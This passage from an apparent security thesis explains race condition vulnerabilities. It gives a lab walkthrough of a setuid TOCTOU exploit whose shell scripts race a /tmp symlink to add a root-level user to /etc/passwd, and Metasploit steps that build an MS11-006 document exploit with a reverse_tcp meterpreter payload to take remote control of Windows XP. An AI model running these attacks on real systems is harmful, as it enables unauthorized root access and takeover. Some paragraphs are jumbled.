number 5. A possible execution order is presented as follows: 
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thread #1: variable 'a' is loaded in a register5

It is notable that, even if the two threads had each added one value at the variable the 
end result is a total of value 6 instead of 7. The problem lies in the fact that the two 
treads are interfering between each other. As a general rule, threads do not execute 
individually single processes at once; in the majority of cases one thread can interrupt 
another and manipulate shared resources. Thus, if a thread of a secure program is not 
designed to expect this kind of interruptions, another thread could interfere with that 
secure thread. 

 in thread1. 
thread #2: variable 'a' is loaded in a register in thread2. 
thread #1: 1 is added to the register of thread1, computation results 

the value 6. 
thread #2: 1 is added to the register of thread2, computation results 

the value 6. 
thread #1: the register value 6 is stored to 'a'.  
thread #2: the register value 6 is stored to 'a'. 

 

[14] 
 

7.1 Security issues with shared directories in Unix-like systems 
 
Enough caution must be taken when a trusted program shares a directory that is used 
by potentially untrusted users. The most common shared directories in UNIX-like 
systems are /tmp and /var/tmp. The /tmp directory was created to host newly created 
temporary files and in normal circumstances these temporary files cannot be shared. 
But it was also discovered that this directory can be used to create files shared among 
users. Thus, due to the fact that these directories can be used for different purposes 
each time, the OS cannot place access control rule in order to prevent attacks. 
 
In the case that a shared directory is used by multiple users that they can add new files 
in it and a trusted user intends to add his own files from a privileged program to that 
directory, he must set the sticky bit of that directory on. The sticky bit is a user 
ownership access-right flag that can be assigned to files or directories in UNIX-like 
systems. When the sticky bit is set on, only the item's owner, the directory's owner, or 
the superuser can rename or delete files. So, in an ordinary directory without the 
sticky bit enabled, anyone that has write privileges can modify or delete files causing 
a number of problems. Thus, the conclusion is that the shared directories must have 
the sticky bit set on, letting only the root or file owner to do the modifications. The 
sticky bit is enabled on the /tmp and /var/tmp directories. 
 
During the execution of programs sometimes some junk temporary files are remain in 
the shared folders. In order to compensate and delete these files, the operating system 

                                                           
5 In computer architecture, a processor register is a small amount of storage available as part of a CPU 
or other digital processor. Such registers are (typically) addressed by mechanisms other than main 
memory and can be accessed more quickly. 
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uses the “tmpwatch” program that is executed automatically. This feature is 
convenient but an attacker may have the capability to maintain the system busy in a 
high rate making the active files to become old. As a result the operating system may 
automatically delete a file that is currently in active use, letting the attacker to create 
his own rogue file which carries the same name. This vulnerability is called tmpwatch 
race problem. 
 
Furthermore, an attacker may try to insert his own actions before or during the 
execution of the actions of the secure program. A usual tactic of attacking is the 
creation and the destruction of symbolic links in the shared directory to some other 
file during the execution of the secure program. The /etc/passwd or /dev/zero files are 
common link destinations. The attacker tries to create a condition where the secure 
program “understands” that a given file name does not exist. His next action is to 
create a symbolic link to another file and when the secure program performs some 
operations it opens an involuntary file. An alteration of the previous attack is the 
creation and destruction of files with normal privileges, where an attacker can write, 
forcing the secure program to create an internal file controlled by him. These types of 
vulnerabilities will be explained in the following exploitation example. [15] 
 

7.2 Exploiting a Race Condition vulnerability 
 
The Operating System used for demonstrating this kind of attack is Ubuntu 8.04.4 
desktop 32-bit version running on VMware Workstation virtual machine. The 
ultimate goal of the following attack is to gain root privileges, namely the attacker 
should be able to do anything that root user can do.  The following program, written 
in C, appends a string of user input to the end of a temporary file /tmp/XYZ. It also 
contains Race Condition vulnerability. 
 
/* rc_vuln.c */  
 
#include <stdio.h>  
#include <unistd.h>  
#define DELAY 10000  
 
int main()  
{  
       char * fn = "/tmp/XYZ";  
       char buffer[60];  
       FILE *fp;  
       long int  i;  
 
       /* get user input */  
       scanf("%50s", buffer );  
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       if(!access(fn, W_OK)){  
           /* simulating delay */  
            for (i=0; i < DELAY; i++){  
               int a = i^2;  
            }  
 
            fp = fopen(fn, "a+");  
            fwrite("\n", sizeof(char), 1, fp);  
            fwrite(buffer, sizeof(char), strlen (buffer), fp);  
            fclose(fp);  
       }  
       else printf("No permission \n");  
} 

 
The access() system call is checking if the “real” UID or GID has permissions to 
access a file. If this is the case it returns the value 0. It is usually used by a Set-UID 
program before accessing a file on behalf of the real user ID. 
 
The fopen() system call is used to open a file with given filename. Whether or not 
this function opens an existing file or creates a new one, opens it for appending, 
overwriting or reading or as a binary or text file, depends on the mode string supplied 
as parameter. In this case it opens it for appending strings in the /tmp/XYZ file. 
 
The fwrite() system call is used to write an array of “count” elements,  each one 
with a size of “size” bytes, from the block of memory pointed by “ptr” to the current 
position in the “stream”. The fclose() system call is used to close the specified file 
fp . This function must be used to clean up after the usage of a file. 
 
The above program wants to write to file /tmp/XYZ. Before doing that, it ensures that 
the file is indeed writable by the real user ID. Without such a check, the program can 
write to this file regardless of whether the real user ID can write to it or not, because 
the program runs with the root privilege. The race condition vulnerability in this 
program occurs due to the time window, caused by the simulated delay of 10000ms, 
between the check (access) and the use (fopen). Thus, exists the possibility the file 
used by access() is different from the file used by fopen(), even though they have the 
same file name (/tmp/XYZ). In case an attacker manages to create a symbolic link 
from /tmp/XYZ pointing to /etc/passwd he can cause the user input to be appended to 
/etc/passwd. The /etc/passwd file is the authentication database for a UNIX machine. 
It contains basic user attributes. It is an ASCII file that contains an entry for each user 
and each entry defines the basic attributes applied to a user. When the mkuser 
command is used to create a new user to the system, it updates this file. The users in 
the /etc/passwd file looks as it is shown below. 
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Picture 74: root user 

 

 
 

Picture 75: Ubuntu8 user 

1. Username: It used when user logs in. It should be between 1 and 32 
characters in length. 

2. Password: An x character indicates that encrypted password is stored in 
/etc/shadow file. 

3. User ID: Each user must be assigned a user ID (UID). UID 0 (zero) is 
reserved for root and UIDs 1-99 are reserved for other predefined accounts. 
Further UID 100-999 are reserved by system for administrative and system 
accounts/groups. The ubuntu8 account is a regular user account and its value 
1000 does not indicate anything special. 

4. Group ID: The primary group ID (stored in /etc/group file) 
5. User ID Info: The comment field. It allows adding extra information about 

the users such as user’s full name, phoning number etc. This field use by 
finger command. 

6. Home Directory: The absolute path to the directory the user will be in when 
they log in. If this directory does not exist then the users directory becomes /. 

7. Command/shell: The absolute path of a command or shell (/bin/bash). 
Typically, this is a shell. 

 
As a next step the program is compiled with the GNU Compiler Collection or GCC as 
follows: 
 

 
 

Picture 76: rc_vuln.c compilation 
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Next the privileges of this program must change in order to be owned by the root user 
as a Set-UID program. As we can see below in the following picture, the compiled 
program has the default, current user (ubuntu8), privileges. 
 
 

 
 

Picture 77: Default privileges of rc_vuln.c 
 
First the owner  and the group owner parameters are changed from ubuntu8 to root 
with the “chown” and “chgrp” commands respectively, shown in Picture 78. 
 

 
 

Picture 78: Changing user & group privileges 
 
Then the Set-UID is set for the root user, shown in the following picture, with the 
“chmod” command. 
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Picture 79: The program becomes Set-UID 

The command chmod 4755 file makes the executable Set-UID (4 prefix), assigns 
read/write/execute permission by owner, and assigns read/execute permission by 
group and others (755 prefix). 
 
As a main rule, when the executable program “rc_vuln” is given the  Set-UID 
attribute common users who have permission to execute it gain the privileges during 
the created process of the user who owns it, and in this case is the root user. When this 
happens, the program can perform tasks on the system that common users in normal 
circumstances would be restricted from executing. This improper use of the Set-UID 
attribute imposed to the “rc_vuln” program, which lacks proper design, allows a 
potential attacker to gain elevated privileges or execute malicious code. 
 
The purpose of the attack is to append a new user in the /etc/passwd file that has root 
privileges. The user will be named “Rogue”. As a first action, it is created a rogue 
password for the user, with the following Perl script shown below. 
 

 
 

Picture 80: Creation of encrypted password with Perl script 

This script uses the Perl crypt() function that uses the DES algorithm to encrypt the 
“test” string, which will be the users' password along with a salt value “tt”. 
Alternatively, the MD5 hash function with the same salt can be used, as it is shown in 
the following picture. The $1$ before the encrypted string indicates that the MD5 
algorithm was used. 
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Picture 81: Encrypted password with MD5 plus “salt” 

It is worth mentioned that the valid passwords in the /etc/shadow file are encrypted 
with the MD5 hash algorithm as it is demonstrated below, but since the attack aims to 
append the Rogue user to the /etc/passwd file, the encryption algorithm is not an 
issue. 
 

 
 

Picture 82: Ubuntu password encryption 

In the following picture there are shown the contents of the /etc/passwd file before the 
attack takes place. 
 

 
 

Picture 83: Original contents of /etc/passwd file 

As a next stage of the attack, the malicious user creates a symbolic link between the 
/etc/passwd file and the /tmp/XYZ file, using the “ln -s” command is it is shown 
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below. A symbolic link, also termed a soft link, is a special kind of file that points to 
another file. Unlike a hard link, a symbolic link does not contain the data in the target 
file. It simply points to another entry somewhere in the file system. 
 

 
 

Picture 84: Symbolic links between /etc/passwd & /tmp/XYZ 

After the symbolic link creation the next step and most critical, is the fact that the 
attacker must make the Race Condition occur within a window between the access() 
and fopen() system calls of the vulnerable program. Since only the root user has the 
appropriate privileges to alter the rc_vuln program the only thing the attacker can do 
is to execute an attacking program in parallel with the vulnerable program, with the 
hope that the shift of the link will take place within the time window referred 
previously. However, it is not possible for the attacker to achieve perfect timing, so 
the success rate of his attack depends on probabilistic factors. Thus, he is obliged to 
execute the vulnerable program enough times in order to be successful. This task is 
facilitated by the execution of an automated script that relieves the attacker from 
executing the vulnerable program manually each time. This script is a bash shell script 
named run.sh and its code is demonstrated below. 
 
#!/bin/sh   
race()   
{  
while true   
do  
sudo ./rc_vuln <Rogue  
done   
}   
race   
RACE_PID=$!   
kill $RACE_PID 
 
Rogue is a text file that it contains the string the attacker wants to append in the 
/etc/passwd file. That string is the Rogue users' attributes (username, password, etc.) 
that have the following form. That user is indulged with root privileges: 
 
Rogue:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 
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The next shell script, named attack.sh, is the main attack script of the malicious user. 
It automates the creation of symbolic links between the temporary file /tmp/XYZ and 
the /etc/passwd file. 
 
#!/bin/sh  
race()  
{  
  old=`ls -l /etc/passwd`  
  new=`ls -l /etc/passwd`  
#  When the passwd is modified successfully, the attack stops . 
  while [ "$old" = "$new" ]  
  do  
#  Because when the symlink already exists, it cannot be modified,  
#  so before the symlink is changed, the old one should be removed.  
       rm -f /tmp/XYZ>/tmp/XYZ  
       ln -sf /etc/passwd /tmp/XYZ  
       new=`ls -l /etc/passwd`  
     echo $new  
     echo $old  
  done  
}  
race  
echo "Stop...The passwd has been changed!"  
RACE_PID=$!  
kill $RACE_PID 

 
Now it is time for the attacker to put the race condition attack to the test. Primarily the 
run.sh script is executed in order to let the vulnerable program to run and create the 
/tmp/XYZ file with the Rogue user input, as it is shown in the following picture. 
 

 
 

Picture 85: Execution of run.sh 
 
The program is executed in a loop mode, and as it is obvious due to the restricted 
privileges of the vulnerable program, the attacker cannot get permission to import the 
Rogue user he created into the /etc/passwd file. But he can execute the attack.sh 
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program, during the execution of the first script, in order to trigger the Race Condition 
vulnerability and finally to insert the Rogue user in the /etc/passwd file, as it is 
illustrated below. 
 

 
 

Picture 86: Execution of attack.sh 
After some attempts the attack.sh script exploits the Race Condition vulnerability and 
manages to insert the Rogue user with the root privileges into the /etc/passwd file. 
When it is succeeded it stops and exits.  In order to verify that the attack is successful, 
the /etc/passwd file is accessed with root privileges, using the “nano” program. This 
action will not be performed by the attacker, and it is only for demonstration reasons. 
If the user wants to view the /etc/passwd file he can execute the command “sudo less 
/etc/passwd”, from a terminal. 
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Picture 87: Successful Rogue user registration in /etc/passwd file 

As it is obvious, the /etc/passwd file has a new registration. That is the Rogue user 
that the attacker created. In order to check that he can login as a root user in the 
system using the Rogue user from a terminal he types the “su Rogue” command, as it 
is shown in the following picture. 
 

 
 

Picture 88: Obtaining root privileges 

By typing the required password “test”, the attacker is logged is as a superuser. By 
giving the command “whoami” the effective username of the current user is printed, 
which in this case is the root user. The attack is successful. [15] 
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8 Race Condition vulnerability on Windows OSs 
Windows operation systems are also affected from race condition vulnerabilities. 
Many attacks have been reported, particularly against the Windows Kernel 6

The vulnerability is caused due to the fact that Windows kernel-mode drivers do not 
properly validate input from a user. So a potential attacker could run an arbitrary code 
in kernel mode and take control of the vulnerable system. The vulnerability could 
allow elevation of privilege if an attacker logs on to the system and runs an 
application exploit. 

. The 
affected systems range from Windows XP to Windows 7, designed for client use and 
from Windows Server 2003 to Windows 2008 R2 server OSs. 
 
Such an attack is the Win32k.sys Race Condition Vulnerability or CVE-2012-1868. 
The Win32k.sys or   Windows kernel-mode driver is a part of the Windows kernel 
subsystem. It includes the window manager component that controls windows 
displays, it manages the screen output, and it collects input from peripheral devices 
and relays user messages to applications. Furthermore it contains the Graphics Device 
Interface (GDI), which is a library of functions for graphics output devices. 
 

[16] 
 
Another type of race condition vulnerability is affecting the Internet Explorer 
browser. The affected versions are from Internet Explorer 6 to Internet Explorer 8, 
running in most windows operation systems and the maximum security impact is the 
remote code execution. The exploitation is triggered when a user opens a specially 
designed web page from the attacker, using Internet Explorer. More specifically when 
the Internet Explorer tries to access an object corrupted due to a race condition, it can 
alter the memory in a way that an attacker can execute, remotely, an exploit in order 
to gain same user privileges as the logged-on user. The higher the user privileges the 
more the access rights the attacker can gain. In order this attack to be effective the 
attacker must convince the user to access the corrupted web page. This is achieved, 
mainly, through fishing mail, luring the user to click on a rogue e-mail link that 
redirects him to the corrupted page. [17] 
 

8.1 Race condition against Emsisoft Anti-Malware 
 
Emsisoft Anti-Malware is an antivirus and antispyware protection suite developed by 
Austria-based Emsi Software GmbH. This particular program due to programming 
errors is vulnerable to the following Race Condition vulnerability. The exploited 

                                                           
6 The Windows kernel is the core of the operating system. It provides system-level services such as 
device management and memory management, allocates processor time to processes, and manages 
error handling.  
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vulnerability is the MS11-006 or Microsoft Windows CreateSizedDIBSECTION 
Stack Buffer Overflow. 
 
This module exploits a stack-based buffer overflow in the handling of thumbnails 
within .MIC 7  files and various Office documents. When processing a thumbnail 
bitmap containing a negative 'biClrUsed 8

The affected Windows versions are Windows XP SP1-SP3, Windows Server 2003, 
Windows Vista, and Windows Server 2008. 

' value, a stack-based buffer overflow 
occurs. This leads to arbitrary code execution. In order to trigger the vulnerable code, 
the folder containing the document must be viewed using the "Thumbnails" view. 
 

[18] 
 

8.2 Generating the Attack 
 
The attacking system is Backtrack 5 using the Meterrpreter tool of Metasploit and the 
vulnerable system is Windows XP SP3 with installed the Emsisoft Anti-Malware. It 
must be mentioned that the anti-malware program will detect the attack but due to the 
Race Condition vulnerability it will do it in a later time, letting the meterpreter 
sessions to be created and access the target system. 
 
As a first step, the anti-malware program must be updated with the latest virus 
signatures in order to detect the attack, as it is shown below in the following picture. 
 

                                                           
7 MIC file is a web graphic created with Microsoft Image Composer, an image creation program that 
was packaged with FrontPage 98 and FrontPage 2000; may contain a simple graphic, banner, or 
animated image; saved as a small bitmap graphic ideal for Web publishing. 
8 It represents the number of color indexes in the color table that are actually used by the bitmap. 
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Picture 89: Up to date Emsisoft anti-malware program 

Next, the Metasploit program is executed from the side of the attacking program by 
running from a terminal the application './msfconsole' located in the 
/pentest/exploits/framework3 folder, as it is demonstrated below and the Metasploit 
interface is booted. 
 

 
 

Picture 90: Metasploit’s msfconsole 
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The msfconsole is the most common and widely used interface of the Metasploit 
Framework. It allows the user to efficiently access all of the options available in the 
Metasploit Framework. At this stage the attack script is generated in order to exploit 
the MS11-006 vulnerability described previously. The script is named “msf.doc” it is 
written in Ruby scripting language and it emulates a Microsoft Office Word 
document, hoping to trick the unsuspected user of the vulnerable program and try to 
access it. The commands that generate it, as they are shown in the next picture, are: 
 
use exploit/windows/fileformat/ms11_006_createsizeddibsection  

• It finds the specific exploit in the Metasploit Framework pool of exploits. 
 
set PAYLOAD windows/meterpreter/reverse_tcp 

• It connects back to the attacker. It injects the meterpreter server DLL via the 
Reflective Dll Injection payload. 

 
set LHOST 192.168.233.146 

• It defines the attackers local IP. 
 
exploit 

• It creates the msd.doc file. 
 

 
 

Picture 91: Creation of msd.doc file 

As it is visible, the generated output file is stored in the folder with the extension 
/opt/framework3/msf3/data/exploits. 
 
In order for the attacker to listen the incoming metrpreter sessions the following 
commands are entered, also illustrated in the following pictures: 
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Picture 92: use exploit/multi/handler 

• It is a stub that handles exploits launched outside of the framework. 
 

 
 

Picture 93: set PAYLOAD windows/meterpreter/reverse_tcp 

• It connects back to the attacker. It injects the meterpreter server DLL via the 
Reflective Dll Injection payload. 

 

 
 

Picture 94: set LHOST 192.168.233.146 
• It defines the attackers local IP. 

 

 
 

Picture 95: set InitialAutoRunScript migrate -f 
• It launches a hidden notepad.exe process on the client, and migrate the 
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meterpreter payload to it. This will ensure that the meterpreter session is not 
lost as soon as the anti-malware detects and deletes the exploit. 

 

 
 

Picture 96: show options 

• It displays information about the Host IP, the host's listening port (predefined 
PORT 4444) and the technique (EXITFUNC) that controls how the payload 
will be removed after it accomplishes its task. 

 

 
 

Picture 97: exploit –j 

• The created exploit running as background job. 
 
As the exploit is anticipating for a response from the vulnerable system, the malicious 
mad.doc is sent to the unsuspected user. It must be mentioned that the folder that the 
exploit will be stored in the Windows system, must be in “Thumbnails View”, in 
order for the exploit to be effective, as it is displayed in the following picture. 
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Picture 98: Folder in thumbnails view 

 
The Emsisoft Anti-Malware detects and quarantines the msf.doc exploit, but due to 
the Race Condition it contains it does it in a later time. The exploit is triggered and 
opens a session sequence among the attacking and the vulnerable system, as we can 
see in the following picture. 
 

 
 

Picture 99: Triggering of the exploit 
 
Analyzing further the message dialog of the above window, we can see that the 
Meterpreter a session that targets the port 1038 of the vulnerable system. Port 1038 is 
used for the mtqp service. An example would be http://www.awebsite.com:1038 
when accessed by a web service. Port 1038 may be used for several services including 
Message Tracking Query Protocol and more and it is known to have vulnerabilities 
caused by trojans and remote code execution. Next it spawns a notepad.exe process 
with PID 1992 as a new server process to the vulnerable system bypassing the main 
server process of Windows, which is the explorer.exe (PID 1816) and establishes a 
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connection. As a next step, the command sessions -i 2 is typed in order the 
Meterpreter to interact with the created session and next is entered the ps command 
that displays a list of running processes on the target system, as it is shown in the 
following picture. 
 

 
 

Picture 100: Viewing remotely the vulnerable program’s processes  
 
Then the execute command is entered. The execute command is perhaps one of the 
most interesting as it allows the execution of a command, such as a real command 
interpreter. The input and output from the process can be piped to a channel that can 
be read from, written to, and interacted with. While the execution of a process does 
expose the attacker, it is nevertheless a potentially handy feature. The output below 
illustrates executing a command interpreter and interacting with it. Analyzing the 
command entry, -f specifies the path to the executable file that is to be executed. If it 
is not specified, like this example, the file can be related to any of the directories that 
exist in the PATH on the target server. The other parameter -c indicates that a 
channel should be allocated for the input and output of the process. The channel 
identifier that is returned can be used with read, write and interact permissions. In the 
following example is executed the cmd.exe which is the Microsoft-supplied 
command-line interpreter. 
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Picture 101: Obtaining root shell of the remote vulnerable system 
 

 
 

Picture 102: Viewing files of the remote vulnerable system using dir command 

Another command that can interfere remotely with the vulnerable system is the kill 
command, which can remotely terminate a process. In this particular example the 
process that is terminated is PID 864 that corresponds to the lsass.exe, as it is shown 
in the following picture. This process is the Local Security Authentication Server. It 
verifies the validity of user logons to your PC or server. 
 

 
 

Picture 103: Terminating remotely PID 864 
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As it is visible, in the upcoming picture, when that process is terminated, Windows 
automatically restart after one minute from the process termination. [19] 
 

 
 

Picture 104: Unexpected system shutdown 

9 Conclusion 
The conclusions derived from this thesis are that the three types of vulnerabilities, 
examined above, pose serious threats to the unattained operation systems. There were 
examined several attacking techniques in order to exploit these vulnerabilities. All of 
the techniques were successfully exploited these systems. It is worth mentioned that 
all of these vulnerabilities have occurred and were exploited in mainstream programs. 
A simple programming error can be abused by an attacker and can have detrimental 
effects on system security because in most cases the attacker can redirect the 
program’s execution flow. This could be used to gain access to a remote system or to 
make a program which runs with elevated privileges execute an attacker’s code with 
those privileges.  
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